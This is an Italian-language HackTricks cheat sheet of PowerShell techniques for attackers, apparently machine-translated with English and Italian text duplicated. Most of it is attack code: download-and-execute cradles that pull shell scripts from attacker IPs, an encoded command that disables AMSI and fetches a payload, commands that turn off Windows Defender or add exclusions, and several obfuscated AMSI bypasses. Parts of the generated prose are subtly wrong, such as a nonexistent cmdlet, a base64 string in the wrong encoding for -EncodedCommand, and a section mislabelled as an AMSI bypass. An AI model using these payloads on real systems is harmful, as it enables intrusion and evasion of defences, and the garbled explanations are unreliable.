91 KiB
PowerShell di base per Pentesters
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.
Posizioni predefinite di PowerShell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Comandi di base di PowerShell per iniziare
PowerShell è un potente strumento per l'automazione e la gestione di sistemi Windows. Di seguito sono riportati alcuni comandi di base di PowerShell che possono essere utili per iniziare:
Get-Command
Il comando Get-Command
restituisce un elenco di tutti i comandi disponibili in PowerShell. Può essere utile per esplorare le diverse opzioni disponibili.
Esempio:
Get-Command
Get-Help
Il comando Get-Help
fornisce informazioni dettagliate su un comando specifico. Può essere utilizzato per ottenere la sintassi, gli esempi e altre informazioni utili su come utilizzare un comando specifico.
Esempio:
Get-Help Get-Process
Get-Process
Il comando Get-Process
restituisce un elenco dei processi in esecuzione sul sistema. Può essere utilizzato per monitorare i processi in esecuzione e ottenere informazioni come l'utilizzo della CPU e della memoria.
Esempio:
Get-Process
Get-Service
Il comando Get-Service
restituisce un elenco dei servizi in esecuzione sul sistema. Può essere utilizzato per controllare lo stato dei servizi e avviare o arrestare servizi specifici.
Esempio:
Get-Service
Set-ExecutionPolicy
Il comando Set-ExecutionPolicy
consente di impostare la politica di esecuzione di PowerShell. Può essere utilizzato per consentire l'esecuzione di script non firmati o limitare l'esecuzione di script a quelli firmati digitalmente.
Esempio:
Set-ExecutionPolicy RemoteSigned
Questi sono solo alcuni dei comandi di base di PowerShell che possono essere utili per iniziare. PowerShell offre molte altre funzionalità e comandi avanzati che possono essere esplorati ulteriormente.
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Scarica ed Esegui
To download and execute a file using PowerShell, you can use the following command:
Per scaricare ed eseguire un file utilizzando PowerShell, puoi utilizzare il seguente comando:
IEX (New-Object Net.WebClient).DownloadString('http://<URL>/file.ps1')
Replace <URL>
with the actual URL of the file you want to download and execute.
Sostituisci <URL>
con l'effettivo URL del file che desideri scaricare ed eseguire.
This command uses the DownloadString
method from the Net.WebClient
class to download the content of the file as a string. The IEX
command then executes the downloaded script.
Questo comando utilizza il metodo DownloadString
della classe Net.WebClient
per scaricare il contenuto del file come stringa. Il comando IEX
esegue quindi lo script scaricato.
Keep in mind that executing scripts from untrusted sources can be dangerous. Always ensure that you trust the source before running any downloaded scripts.
Ricorda che l'esecuzione di script da fonti non attendibili può essere pericolosa. Assicurati sempre di fidarti della fonte prima di eseguire qualsiasi script scaricato.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Scarica ed esegui in background con bypass AMSI
In questo metodo, utilizzeremo PowerShell per scaricare ed eseguire un file in background, aggirando il sistema di protezione AMSI (Antimalware Scan Interface).
$URL = "URL_del_file_da_scaricare"
$Output = "percorso_del_file_di_output"
# Scarica il file
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)
# Esegui il file in background
$WshShell = New-Object -ComObject WScript.Shell
$WshShell.Run($Output, 0)
Assicurati di sostituire "URL_del_file_da_scaricare" con l'URL del file che desideri scaricare e "percorso_del_file_di_output" con il percorso in cui desideri salvare il file scaricato.
Questo metodo sfrutta la funzione DownloadFile
dell'oggetto WebClient
per scaricare il file desiderato. Successivamente, utilizziamo l'oggetto WScript.Shell
per eseguire il file in background utilizzando il metodo Run
con il parametro 0
, che indica di eseguire il file senza mostrare finestre o notifiche.
Ricorda che questo metodo è progettato per scopi di pentesting e dovrebbe essere utilizzato solo con il consenso del proprietario del sistema.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Utilizzo di b64 da Linux
To encode a file in base64 from Linux, you can use the base64
command. Here's how you can do it:
$ base64 <file> > output.txt
Replace <file>
with the path to the file you want to encode. The encoded output will be saved in the output.txt
file.
To decode a base64-encoded file, you can use the following command:
$ base64 -d <file> > output.txt
Again, replace <file>
with the path to the base64-encoded file. The decoded output will be saved in the output.txt
file.
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Download
System.Net.WebClient
Il modulo System.Net.WebClient
fornisce una classe che consente di scaricare file da un URL specificato. Per utilizzare questa classe, è necessario creare un'istanza di WebClient
e utilizzare il metodo DownloadFile
per specificare l'URL del file da scaricare e il percorso di destinazione in cui salvare il file scaricato.
Ecco un esempio di come utilizzare System.Net.WebClient
per scaricare un file:
$webClient = New-Object System.Net.WebClient
$url = "https://www.example.com/file.txt"
$destination = "C:\path\to\save\file.txt"
$webClient.DownloadFile($url, $destination)
Nell'esempio sopra, viene creato un oggetto WebClient
e viene specificato l'URL del file da scaricare ($url
) e il percorso di destinazione in cui salvare il file scaricato ($destination
). Il metodo DownloadFile
viene quindi chiamato sull'oggetto WebClient
per avviare il download del file.
È importante notare che il percorso di destinazione specificato ($destination
) deve includere il nome del file da salvare. Se il percorso di destinazione specificato non esiste, verrà creato automaticamente.
Una volta completato il download, il file sarà disponibile nel percorso di destinazione specificato.
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
Il comando Invoke-WebRequest
in PowerShell viene utilizzato per inviare richieste HTTP o HTTPS a un server web e ottenere la risposta. Può essere utilizzato per eseguire varie operazioni, come scaricare file, inviare dati a un server o eseguire test di penetrazione.
Ecco un esempio di come utilizzare Invoke-WebRequest
per scaricare un file da un server:
Invoke-WebRequest -Uri "https://www.example.com/file.txt" -OutFile "C:\path\to\save\file.txt"
Questo comando scaricherà il file file.txt
dal server www.example.com
e lo salverà nella posizione specificata.
È anche possibile inviare dati a un server utilizzando il metodo POST. Ecco un esempio:
Invoke-WebRequest -Uri "https://www.example.com/api" -Method POST -Body @{param1="value1"; param2="value2"}
Questo comando invierà una richiesta POST all'URL specificato con i parametri param1
e param2
impostati sui rispettivi valori.
Invoke-WebRequest
è uno strumento potente per i pentester, in quanto consente di interagire con i server web e automatizzare varie operazioni. Tuttavia, è importante utilizzarlo in modo responsabile e nel rispetto delle leggi e delle politiche di sicurezza.
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows.
To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some common examples:
- Download a file:
wget <URL>
- Download a file and save it with a different name:
wget -O <output_file> <URL>
- Download multiple files:
wget <URL1> <URL2> <URL3>
- Download a file and continue an interrupted download:
wget -c <URL>
- Download a file and limit the download speed:
wget --limit-rate=<rate> <URL>
- Download a file and specify the user agent:
wget --user-agent=<user_agent> <URL>
- Download a file and specify the referer:
wget --referer=<referer> <URL>
- Download a file and specify the output directory:
wget --directory-prefix=<directory> <URL>
These are just a few examples of what you can do with Wget. It is a powerful tool that can be used in various scenarios during penetration testing or other tasks.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer è uno strumento di PowerShell che consente di trasferire file tra un client e un server utilizzando il protocollo Background Intelligent Transfer Service (BITS). BITS è un servizio di Windows che consente il trasferimento di file in background, in modo che non influisca sulle prestazioni del sistema.
Per utilizzare BitsTransfer, è necessario importare il modulo BitsTransfer in PowerShell utilizzando il comando Import-Module BitsTransfer
. Una volta importato il modulo, è possibile utilizzare i cmdlet forniti per avviare, monitorare e completare i trasferimenti di file.
Ecco alcuni esempi di utilizzo di BitsTransfer:
-
Avviare un trasferimento di file:
Start-BitsTransfer -Source <percorso_file_sorgente> -Destination <percorso_file_destinazione>
-
Monitorare lo stato di un trasferimento:
Get-BitsTransfer -AllUsers
-
Sospendere un trasferimento:
Suspend-BitsTransfer -JobId <ID_trasferimento>
-
Riprendere un trasferimento sospeso:
Resume-BitsTransfer -JobId <ID_trasferimento>
-
Cancellare un trasferimento:
Remove-BitsTransfer -JobId <ID_trasferimento>
BitsTransfer è uno strumento utile per i pentester in quanto consente di trasferire file in modo efficiente durante un test di penetrazione. Tuttavia, è importante utilizzare BitsTransfer in modo responsabile e rispettare le leggi e le politiche applicabili durante l'utilizzo di questo strumento.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
In questo capitolo, esploreremo come utilizzare Base64 per codificare comandi in PowerShell su Kali Linux.
Codifica Base64
La codifica Base64 è un metodo per rappresentare dati binari in forma di testo ASCII. In PowerShell, possiamo utilizzare il cmdlet ConvertTo-Base64
per codificare una stringa in Base64.
$command = "Get-Process"
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
Esecuzione di comandi codificati
Una volta che abbiamo codificato il nostro comando in Base64, possiamo eseguirlo utilizzando il parametro -EncodedCommand
di PowerShell.
powershell.exe -EncodedCommand <encoded_command>
Dove <encoded_command>
è il comando codificato in Base64.
Esempio pratico
Supponiamo di voler eseguire il comando Get-Process
su un sistema remoto utilizzando PowerShell su Kali Linux. Possiamo seguire i seguenti passaggi:
- Codifica il comando in Base64:
$command = "Get-Process"
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
- Esegui il comando codificato utilizzando PowerShell:
powershell.exe -EncodedCommand R2V0LVByb2Nlc3M=
In questo modo, il comando Get-Process
verrà eseguito sul sistema remoto utilizzando PowerShell su Kali Linux.
Conclusioni
La codifica Base64 e l'utilizzo del parametro -EncodedCommand
di PowerShell sono utili per eseguire comandi codificati su sistemi remoti. Questa tecnica può essere utile durante un test di penetrazione per evitare la rilevazione di comandi sospetti.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Execution Policy
L'Execution Policy è una funzionalità di sicurezza di PowerShell che controlla l'esecuzione di script e file di configurazione. Può essere utilizzata per prevenire l'esecuzione di script non attendibili o dannosi. È possibile impostare l'Execution Policy su diversi livelli di restrizione, come "Restricted", "AllSigned", "RemoteSigned" o "Unrestricted", a seconda delle esigenze di sicurezza del sistema.
Linguaggio vincolato
Il linguaggio vincolato è una modalità di PowerShell che limita le funzionalità del linguaggio per scopi di sicurezza. In questa modalità, vengono disabilitate alcune funzioni avanzate di PowerShell, come l'accesso al registro di sistema e l'esecuzione di comandi esterni. Il linguaggio vincolato può essere utilizzato per mitigare il rischio di esecuzione di script dannosi o non autorizzati.
Politica AppLocker
La politica AppLocker è una funzionalità di sicurezza di Windows che consente di controllare quali applicazioni possono essere eseguite su un sistema. Utilizzando AppLocker, è possibile definire regole che specificano quali applicazioni sono consentite o vietate in base a vari criteri, come il percorso del file, l'hash del file o la firma digitale. AppLocker può essere utilizzato per prevenire l'esecuzione di applicazioni non autorizzate o dannose.
Abilita WinRM (Remote PS)
Per abilitare WinRM (Remote PowerShell) su un sistema Windows, è possibile utilizzare il seguente comando PowerShell:
Enable-PSRemoting -Force
Questo comando abiliterà il servizio WinRM e consentirà la gestione remota del sistema utilizzando PowerShell.
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Disabilita Defender
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
Bypass AMSI
amsi.dll
viene caricato nel tuo processo e ha le esportazioni necessarie per interagire con qualsiasi applicazione. E poiché viene caricato nello spazio di memoria di un processo che controlli, puoi modificare il suo comportamento sovrascrivendo le istruzioni in memoria. In questo modo non rileverà nulla.
Pertanto, l'obiettivo dei bypass AMSI sarà quello di sovrascrivere le istruzioni di quella DLL in memoria per rendere inutile la rilevazione.
Pagina web per generare bypass AMSI: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Bypass 2 - Hooking delle chiamate API gestite
Controlla questo post per informazioni dettagliate e il codice. Introduzione:
Questa nuova tecnica si basa sull'hooking delle chiamate API dei metodi .NET. Come si scopre, i metodi .NET devono essere compilati in istruzioni native della macchina in memoria che assomigliano molto ai metodi nativi. Questi metodi compilati possono essere hookati per cambiare il flusso di controllo di un programma.
I passaggi per eseguire l'hooking delle chiamate API dei metodi .NET sono:
- Identificare il metodo di destinazione da hookare
- Definire un metodo con lo stesso prototipo di funzione del metodo di destinazione
- Utilizzare la riflessione per trovare i metodi
- Assicurarsi che ogni metodo sia stato compilato
- Trovare la posizione di ogni metodo in memoria
- Sovrascrivere il metodo di destinazione con istruzioni che puntano al nostro metodo maligno
AMSI Bypass 3 - Privilegio SeDebug
Seguendo questa guida e il codice puoi vedere come, con sufficienti privilegi per eseguire il debug dei processi, puoi avviare un processo powershell.exe, eseguirne il debug, monitorare quando carica amsi.dll
e disabilitarlo.
AMSI Bypass - Ulteriori risorse
Cronologia di PowerShell
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Trova file più recenti
Opzioni: CreationTime
, CreationTimeUtc
, LastAccessTime
, LastAccessTimeUtc
, LastWriteTime
, LastWriteTimeUtc
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Ottenere le autorizzazioni
To determine the permissions of a file or directory in Windows, you can use the Get-Acl
cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.
Get-Acl -Path C:\path\to\file.txt
This command will display the permissions associated with the specified file or directory. The output will include information such as the owner, group, and individual permissions for the file or directory.
To view the permissions for multiple files or directories, you can use the Get-ChildItem
cmdlet to retrieve a list of objects and then pipe the results to Get-Acl
.
Get-ChildItem -Path C:\path\to\directory | Get-Acl
This command will display the permissions for all files and directories within the specified directory.
By understanding the permissions associated with a file or directory, you can assess the level of access and control that users or groups have over the object. This information can be useful for identifying potential security vulnerabilities or misconfigurations.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Versione del sistema operativo e HotFixes
Per ottenere informazioni sulla versione del sistema operativo e sugli HotFixes installati, è possibile utilizzare il seguente comando PowerShell:
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture, BuildNumber
Questo comando restituirà i seguenti dettagli:
- Caption: il nome del sistema operativo installato.
- CSDVersion: la versione del Service Pack installato, se presente.
- OSArchitecture: l'architettura del sistema operativo (32-bit o 64-bit).
- BuildNumber: il numero di build del sistema operativo.
Per ottenere informazioni sugli HotFixes installati, è possibile utilizzare il seguente comando PowerShell:
Get-HotFix | Select-Object HotFixID, InstalledOn
Questo comando restituirà i seguenti dettagli per ogni HotFix installato:
- HotFixID: l'ID del HotFix.
- InstalledOn: la data di installazione del HotFix.
È possibile eseguire questi comandi in PowerShell per ottenere le informazioni desiderate.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Ambiente
The following techniques and commands are intended to be used in a Windows environment. It is recommended to have a basic understanding of PowerShell scripting and Windows operating system.
Le seguenti tecniche e comandi sono destinati ad essere utilizzati in un ambiente Windows. Si consiglia di avere una conoscenza di base dello scripting di PowerShell e del sistema operativo Windows.
PowerShell Basics
PowerShell is a powerful scripting language and automation framework developed by Microsoft. It provides a command-line interface (CLI) and a scripting environment that allows users to automate tasks and manage systems.
PowerShell è un potente linguaggio di scripting e framework di automazione sviluppato da Microsoft. Fornisce un'interfaccia a riga di comando (CLI) e un ambiente di scripting che consente agli utenti di automatizzare compiti e gestire sistemi.
Running PowerShell Scripts
To run a PowerShell script, open a PowerShell session and use the .\
prefix followed by the script's file path. For example:
Per eseguire uno script di PowerShell, aprire una sessione di PowerShell e utilizzare il prefisso .\
seguito dal percorso del file dello script. Ad esempio:
.\script.ps1
PowerShell Execution Policy
PowerShell has an execution policy that determines which scripts can be run on a system. By default, the execution policy is set to Restricted
, which prevents the execution of scripts. To change the execution policy, use the Set-ExecutionPolicy
command. For example:
PowerShell ha una policy di esecuzione che determina quali script possono essere eseguiti su un sistema. Per impostazione predefinita, la policy di esecuzione è impostata su Restricted
, che impedisce l'esecuzione degli script. Per modificare la policy di esecuzione, utilizzare il comando Set-ExecutionPolicy
. Ad esempio:
Set-ExecutionPolicy Unrestricted
PowerShell Help
PowerShell provides a built-in help system that allows users to get information about commands and modules. To get help for a specific command, use the Get-Help
command followed by the command's name. For example:
PowerShell fornisce un sistema di aiuto integrato che consente agli utenti di ottenere informazioni sui comandi e sui moduli. Per ottenere aiuto per un comando specifico, utilizzare il comando Get-Help
seguito dal nome del comando. Ad esempio:
Get-Help Get-Process
PowerShell Variables
PowerShell allows users to store and manipulate data using variables. Variables in PowerShell are represented by a dollar sign $
followed by the variable name. For example:
PowerShell consente agli utenti di memorizzare e manipolare dati utilizzando variabili. Le variabili in PowerShell sono rappresentate da un segno di dollaro $
seguito dal nome della variabile. Ad esempio:
$variable = "Hello, World!"
PowerShell Pipelines
PowerShell pipelines allow users to chain commands together, passing the output of one command as the input to another command. The pipeline operator |
is used to connect commands. For example:
Le pipeline di PowerShell consentono agli utenti di concatenare comandi, passando l'output di un comando come input a un altro comando. L'operatore di pipeline |
viene utilizzato per collegare i comandi. Ad esempio:
Get-Process | Where-Object { $_.Name -eq "chrome" }
PowerShell Modules
PowerShell modules are collections of commands and functions that can be imported and used in scripts. To import a module, use the Import-Module
command followed by the module's name. For example:
I moduli di PowerShell sono collezioni di comandi e funzioni che possono essere importati e utilizzati negli script. Per importare un modulo, utilizzare il comando Import-Module
seguito dal nome del modulo. Ad esempio:
Import-Module ActiveDirectory
PowerShell Aliases
PowerShell aliases are shortcuts for commands and cmdlets. They allow users to use shorter names or alternative names for commonly used commands. To view a list of available aliases, use the Get-Alias
command. For example:
Gli alias di PowerShell sono scorciatoie per comandi e cmdlet. Consentono agli utenti di utilizzare nomi più brevi o nomi alternativi per comandi comunemente utilizzati. Per visualizzare un elenco di alias disponibili, utilizzare il comando Get-Alias
. Ad esempio:
Get-Alias
Conclusion
This guide covered the basics of PowerShell for pentesters. It provided an overview of the PowerShell environment, basic commands, execution policy, help system, variables, pipelines, modules, and aliases. With this knowledge, pentesters can leverage PowerShell to automate tasks and manage systems in a Windows environment.
Questa guida ha coperto le basi di PowerShell per i pentester. Ha fornito una panoramica dell'ambiente PowerShell, dei comandi di base, della policy di esecuzione, del sistema di aiuto, delle variabili, delle pipeline, dei moduli e degli alias. Con questa conoscenza, i pentester possono sfruttare PowerShell per automatizzare compiti e gestire sistemi in un ambiente Windows.
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Altre unità collegate
Sometimes, during a penetration test, you may find yourself in a situation where you have access to a compromised system but you are limited to a specific user account or directory. In such cases, it can be useful to identify and access other connected drives on the system.
In PowerShell, you can use the Get-PSDrive
cmdlet to list all the drives available on the system, including local drives, network drives, and other types of drives. Here's an example of how you can use this cmdlet:
Get-PSDrive
This command will display a list of all the drives along with their names, types, and root paths. By examining this list, you can identify any additional drives that may be connected to the system.
Once you have identified the additional drives, you can use the Set-Location
cmdlet to navigate to a specific drive and access its contents. Here's an example:
Set-Location -Path D:
In this example, we are navigating to the D:
drive. Once you are in the desired drive, you can use other PowerShell commands to interact with the files and directories on that drive.
Remember, accessing other connected drives can be useful for lateral movement and further exploration during a penetration test. However, always ensure that you have the necessary permissions and legal authorization before accessing any system or drive.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Cestino di riciclo
The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. When a file or folder is deleted, it is moved to the Recycle Bin instead of being permanently deleted from the system. This provides a safety net in case the user accidentally deletes something and wants to restore it.
To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the items you want to restore and click on the "Restore" button to move them back to their original location.
It's important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older items will be automatically deleted to make room for new ones. You can adjust the size of the Recycle Bin by right-clicking on its icon, selecting "Properties," and adjusting the slider under the "Maximum size" section.
If you want to permanently delete a file or folder without sending it to the Recycle Bin, you can do so by selecting the item and pressing the "Shift" key while pressing the "Delete" key. This will bypass the Recycle Bin and permanently delete the selected item.
In summary, the Recycle Bin is a useful feature in Windows that provides a safety net for deleted files and folders. It allows users to easily restore items that were accidentally deleted and provides a way to permanently delete files and folders if needed.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/gestione-del-cestino-con-powershell/
Ricerca di Dominio
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Utenti
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Stringa sicura in testo normale
In alcuni casi, potresti dover convertire una stringa sicura in testo normale per poterla utilizzare in determinate operazioni. Ecco come farlo utilizzando PowerShell:
$secureString = ConvertTo-SecureString -String "PasswordSicura" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
In questo esempio, la variabile $secureString
contiene la stringa sicura che desideri convertire. Utilizzando il comando ConvertTo-SecureString
